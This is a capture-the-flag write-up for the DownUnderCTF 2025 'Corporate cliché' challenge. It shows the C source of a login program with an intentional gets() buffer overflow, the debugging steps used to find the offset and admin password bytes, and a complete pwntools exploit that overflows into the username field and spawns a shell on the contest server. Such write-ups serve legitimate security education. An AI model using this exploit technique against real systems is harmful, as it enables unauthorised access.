DownUnderCTF 2025: Corporate clichรฉ

Recon

An executable file is given. Letโ€™s do some recon first:

$ file email_server
email_server: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=f8b6376e8e206a299f035e9a5a587abd7ae50b24, for GNU/Linux 3.2.0, not stripped
$ checksec --file=email_server
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   50 Symbols        No    0               3               email_server

Another good thing for information gathering here is that we have access to the complete C source code; we do not need to disassemble or decompile anything. Letโ€™s take a look (as always, unimportant parts are stripped):

void open_admin_session() {
    printf("-> Admin login successful. Opening shell...\n");
    system("/bin/sh");
    exit(0);
}

void print_email() {
    // A bunch of printf, redacted here. who cares
    exit(0);
}

const char* logins[][2] = {
    {"admin", "๐Ÿ‡ฆ๐Ÿ‡ฉ๐Ÿ‡ฒ๐Ÿ‡ฎ๐Ÿ‡ณ"},
    {"guest", "guest"},
};

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char password[32];
    char username[32];

    printf("โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”\n");
    printf("โ”‚      Secure Email System v1.337      โ”‚\n");
    printf("โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜\n\n");

    printf("Enter your username: ");
    fgets(username, sizeof(username), stdin);
    username[strcspn(username, "\n")] = 0;

    if (strcmp(username, "admin") == 0) {
        printf("-> Admin login is disabled. Access denied.\n");
        exit(0);
    }

    printf("Enter your password: ");
    gets(password);

    for (int i = 0; i < sizeof(logins) / sizeof(logins[0]); i++) {
        if (strcmp(username, logins[i][0]) == 0) {
            if (strcmp(password, logins[i][1]) == 0) {
                printf("-> Password correct. Access granted.\n");
                if (strcmp(username, "admin") == 0) {
                    open_admin_session();
                } else {
                    print_email();
                }
            } else {
                printf("-> Incorrect password for user '%s'. Access denied.\n", username);
                exit(1);
            }
        }
    }
    printf("-> Login failed. User '%s' not recognized.\n", username);
    exit(1);
}

Okay, so apparently we have to trigger the open_admin_session() function someway. Problem is, we need to login as admin for this, and the admin login seems to be disabled.

However, even though the programmer thought about using fgets() to get secure user input for the username field, we see that the very very unsafe gets() function is used here for the password input. This is prone to buffer overflow as we all know.

What I wanted to first was to exploit a traditional ret2win vulnerability and get the challenge done fast, but things didnโ€™t turn as I had expected. Opening the file in pwndbg, I generated a long enough cyclic pattern (two buffers of 32 bytes so the default 100 bytes length should be good).

When injecting though, no SEGFAULT happened. Weirdโ€ฆ

pwndbg> cyclic
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
pwndbg> r
Starting program: /home/qelal/downunderctf/corporate-cliche/email_server 
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚      Secure Email System v1.337      โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Enter your username: whatever
Enter your password: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
-> Login failed. User 'iaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' not recognized.
[Inferior 1 (process 7635) exited with code 01]

No SEGFAULT, but it seems that after some padding, we still overflow into the username field (from the password buffer). Interestingโ€ฆ

Just to be sure, weโ€™ll calculate the offset. I donโ€™t want to count by hand, so:

pwndbg> cyclic -n 4 -l iaaa
Finding cyclic pattern of 4 bytes: b'iaaa' (hex: 0x69616161)
Found at offset 32

As expected, itโ€™s 32 bytes long. Wait, so if we can overflow the username, we could probably bypass the check for admin login! Also, we are given a โ€œloginsโ€ array that contain usernames and passwords, especially the admin one.

However the admin password isnโ€™t easily readable; it does not render in the terminal so it is probably some combination of Unicode codepoints, representing stuff like emojis. We can get the raw bytes of it by inspecting the executable in an hex editor:

00002440   00 61 64 6D  69 6E 00 F0  9F 87 A6 F0  9F 87 A9 F0  9F 87 B2 F0  9F 87 AE F0  9F 87 B3 00  67 75 65 73  .admin......................gues
00002460   74 00 00 00  00 00 00 00  E2 94 8C E2  94 80 E2 94  80 E2 94 80  E2 94 80 E2  94 80 E2 94  80 E2 94 80  t...............................

We see, after the โ€œadminโ€ null-terminated array of bytes, some patterns always starting by F0 9F 87 and finally ending by a null-byte. This pattern is the UTF-8 encoding for emojis in Unicode. Thatโ€™s a bingo! We then extract this byte array and this is what we have as the admin password:

\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3

Exploitation

What we can do now, to exploit our executable, is: - filling the username field with garbage - filling the password field with the admin password, null-terminate it, add some padding, and then inject the โ€œadminโ€ string after the buffer so it overflows into the username field.

This way, we could probably bypass the login check and enter the system. Iโ€™m going to show the full exploit code, including boilerplate (thanks to CryptoCat for this beautiful piece of code by the way), but I wonโ€™t do it again in other write-ups; here will be the reference for it.

The boilerplate allows us to switch easily from local/remote execution, and it also allows pwntools to automatically figure out byte order, word size, and such things we donโ€™t want to carry around everywhere.

Here it is:

from pwn import *

# Boilerplate code

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

exe = './email_server'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Auth as whatever user
io.sendlineafter(b':', "guest")

# Send admin password recovered from hexdump + admin (overflowing into username[32])
io.sendlineafter(b':', b'\xF0\x9F\x87\xA6\xF0\x9F\x87\xA9\xF0\x9F\x87\xB2\xF0\x9F\x87\xAE\xF0\x9F\x87\xB3\x00' + 11*b'A' + b'admin') 

# Receive the flag
io.interactive()

Now, we can run the exploit and get a shell, and then our precious flag:

(MyEnv) โžœ  corporate-cliche python exploit.py REMOTE chal.2025.ductf.net 30000
[+] Opening connection to chal.2025.ductf.net on port 30000: Done
[DEBUG] Received 0x135 bytes:
    00000120  45 6e 74 65  72 20 79 6f  75 72 20 75  73 65 72 6e  โ”‚Enteโ”‚r yoโ”‚ur uโ”‚sernโ”‚
    00000130  61 6d 65 3a  20                                     โ”‚ame:โ”‚ โ”‚
    00000135
[DEBUG] Sent 0x6 bytes:
    b'guest\n'
[DEBUG] Received 0x15 bytes:
    b'Enter your password: '
[DEBUG] Sent 0x26 bytes:
    00000000  f0 9f 87 a6  f0 9f 87 a9  f0 9f 87 b2  f0 9f 87 ae  โ”‚ยทยทยทยทโ”‚ยทยทยทยทโ”‚ยทยทยทยทโ”‚ยทยทยทยทโ”‚
    00000010  f0 9f 87 b3  00 41 41 41  41 41 41 41  41 41 41 41  โ”‚ยทยทยทยทโ”‚ยทAAAโ”‚AAAAโ”‚AAAAโ”‚
    00000020  61 64 6d 69  6e 0a                                  โ”‚admiโ”‚nยทโ”‚
    00000026
[*] Switching to interactive mode
 [DEBUG] Received 0x51 bytes:
    b'-> Password correct. Access granted.\n'
    b'-> Admin login successful. Opening shell...\n'
-> Password correct. Access granted.
-> Admin login successful. Opening shell...
$ ls
[DEBUG] Received 0x16 bytes:
    b'flag.txt\n'
    b'get-flag\n'
    b'pwn\n'
$ cat flag.txt
[DEBUG] Received 0x41 bytes:
    b'DUCTF{wow_you_really_boiled_the_ocean_the_shareholders_thankyou}\n'

Nice! I really liked this one because the exploit wasnโ€™t what I expected at first. Really cool.